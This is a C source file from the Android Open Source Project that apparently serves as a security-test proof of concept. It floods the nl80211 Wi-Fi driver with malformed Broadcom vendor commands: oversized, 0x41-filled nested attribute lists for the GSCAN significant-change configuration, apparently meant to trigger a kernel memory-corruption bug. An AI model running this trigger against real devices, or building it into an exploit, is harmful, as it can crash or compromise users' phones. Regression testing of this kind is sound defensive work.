/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netlink/netlink.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <net/if.h>
#include <linux/nl80211.h>
#define OUI_GOOGLE 0x001A11
#define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
#define F1_32 0x41414141
#define WL_CHANSPEC_BW_80 0x2000
enum wl_vendor_subcmd {
BRCM_VENDOR_SCMD_UNSPEC,
BRCM_VENDOR_SCMD_PRIV_STR,
GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
GSCAN_SUBCMD_SET_CONFIG,
GSCAN_SUBCMD_SET_SCAN_CONFIG,
GSCAN_SUBCMD_ENABLE_GSCAN,
GSCAN_SUBCMD_GET_SCAN_RESULTS,
GSCAN_SUBCMD_SCAN_RESULTS,
GSCAN_SUBCMD_SET_HOTLIST,
GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
GSCAN_SUBCMD_GET_CHANNEL_LIST,
ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
ANDR_WIFI_RANDOM_MAC_OUI,
ANDR_WIFI_NODFS_CHANNELS,
ANDR_WIFI_SET_COUNTRY,
GSCAN_SUBCMD_SET_EPNO_SSID,
WIFI_SUBCMD_SET_SSID_WHITELIST,
WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
WIFI_SUBCMD_ENABLE_LAZY_ROAM,
WIFI_SUBCMD_SET_BSSID_PREF,
WIFI_SUBCMD_SET_BSSID_BLACKLIST,
GSCAN_SUBCMD_ANQPO_CONFIG,
WIFI_SUBCMD_SET_RSSI_MONITOR,
RTT_SUBCMD_SET_CONFIG = 0x1100,
RTT_SUBCMD_CANCEL_CONFIG,
RTT_SUBCMD_GETCAPABILITY,
LSTATS_SUBCMD_GET_INFO = 0x1200,
DEBUG_START_LOGGING = 0x1400,
DEBUG_TRIGGER_MEM_DUMP,
DEBUG_GET_MEM_DUMP,
DEBUG_GET_VER,
DEBUG_GET_RING_STATUS,
DEBUG_GET_RING_DATA,
DEBUG_GET_FEATURE,
DEBUG_RESET_LOGGING,
WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
/* Add more sub commands here */
VENDOR_SUBCMD_MAX
};
enum debug_attributes {
DEBUG_ATTRIBUTE_GET_DRIVER,
DEBUG_ATTRIBUTE_GET_FW,
DEBUG_ATTRIBUTE_RING_ID,
DEBUG_ATTRIBUTE_RING_NAME,
DEBUG_ATTRIBUTE_RING_FLAGS,
DEBUG_ATTRIBUTE_LOG_LEVEL,
DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
DEBUG_ATTRIBUTE_FW_DUMP_LEN,
DEBUG_ATTRIBUTE_FW_DUMP_DATA,
DEBUG_ATTRIBUTE_RING_DATA,
DEBUG_ATTRIBUTE_RING_STATUS,
DEBUG_ATTRIBUTE_RING_NUM
};
enum gscan_attributes {
GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
GSCAN_ATTRIBUTE_BASE_PERIOD,
GSCAN_ATTRIBUTE_BUCKETS_BAND,
GSCAN_ATTRIBUTE_BUCKET_ID,
GSCAN_ATTRIBUTE_BUCKET_PERIOD,
GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
GSCAN_ATTRIBUTE_FLUSH_FEATURE,
GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
GSCAN_ATTRIBUTE_REPORT_EVENTS,
/* remaining reserved for additional attributes */
GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
GSCAN_ATTRIBUTE_FLUSH_RESULTS,
GSCAN_ATTRIBUTE_SCAN_RESULTS, /* flat array of wifi_scan_result */
GSCAN_ATTRIBUTE_SCAN_ID, /* indicates scan number */
GSCAN_ATTRIBUTE_SCAN_FLAGS, /* indicates if scan was aborted */
GSCAN_ATTRIBUTE_AP_FLAGS, /* flags on significant change event */
GSCAN_ATTRIBUTE_NUM_CHANNELS,
GSCAN_ATTRIBUTE_CHANNEL_LIST,
/* remaining reserved for additional attributes */
GSCAN_ATTRIBUTE_SSID = 40,
GSCAN_ATTRIBUTE_BSSID,
GSCAN_ATTRIBUTE_CHANNEL,
GSCAN_ATTRIBUTE_RSSI,
GSCAN_ATTRIBUTE_TIMESTAMP,
GSCAN_ATTRIBUTE_RTT,
GSCAN_ATTRIBUTE_RTTSD,
/* remaining reserved for additional attributes */
GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
GSCAN_ATTRIBUTE_RSSI_LOW,
GSCAN_ATTRIBUTE_RSSI_HIGH,
GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
/* remaining reserved for additional attributes */
GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
GSCAN_ATTRIBUTE_MIN_BREACHING,
GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
/* EPNO */
GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
GSCAN_ATTRIBUTE_EPNO_SSID,
GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
GSCAN_ATTRIBUTE_EPNO_RSSI,
GSCAN_ATTRIBUTE_EPNO_FLAGS,
GSCAN_ATTRIBUTE_EPNO_AUTH,
GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
GSCAN_ATTRIBUTE_EPNO_FLUSH,
/* Roam SSID Whitelist and BSSID pref */
GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
GSCAN_ATTRIBUTE_NUM_WL_SSID,
GSCAN_ATTRIBUTE_WL_SSID_LEN,
GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
GSCAN_ATTRIBUTE_NUM_BSSID,
GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
GSCAN_ATTRIBUTE_BSSID_PREF,
GSCAN_ATTRIBUTE_RSSI_MODIFIER,
/* Roam cfg */
GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
/* BSSID blacklist */
GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
/* Adaptive scan attributes */
GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
GSCAN_ATTRIBUTE_MAX
};
#define ETHER_ADDR_LEN 6
struct __attribute__ ((packed)) _ether_addr {
uint8_t octet[ETHER_ADDR_LEN];
};
static int l1;
static int l2;
static void test(struct nl_sock *socket, int d_id, int if_index)
{
struct nl_msg *msg;
struct nl_cb *cb;
struct nl_msg *vendor_cmd, *nested_msg;
struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
int err, i, j = 0, k = 0, ret;
struct _ether_addr mac;
memset(&mac, 0x41, sizeof(mac));
// Allocate the messages and callback handler.
for (j = l1; j < 1024; j++) {
for(k = l2; k < 128; k++) {
msg = nlmsg_alloc_size(16384);
if (!msg) {
exit(EXIT_FAILURE);
}
genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
/* construct the vendor cmd */
nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
for (i = 0; i < j; i++) {
nested2 = nla_nest_start(msg, i);
nla_nest_end(msg, nested2);
}
for (i = 0; i < k; i++) {
nested2 = nla_nest_start(msg, i);
nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
nla_nest_end(msg, nested2);
}
nla_nest_end(msg, nested);
nla_nest_end(msg, nl_vendor_cmds);
nl_send_auto_complete(socket, msg);
nlmsg_free(msg);
}
}
}
int main(int argc, char **argv)
{
int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
l1 = 157;
l2 = 0;
// Open socket to kernel.
struct nl_sock *socket = nl_socket_alloc(); // Allocate new netlink socket in memory.
genl_connect(socket); // Create file descriptor and bind socket.
int driver_id = genl_ctrl_resolve(socket, "nl80211"); // Find the nl80211 driver ID.
test(socket, driver_id, if_index);
}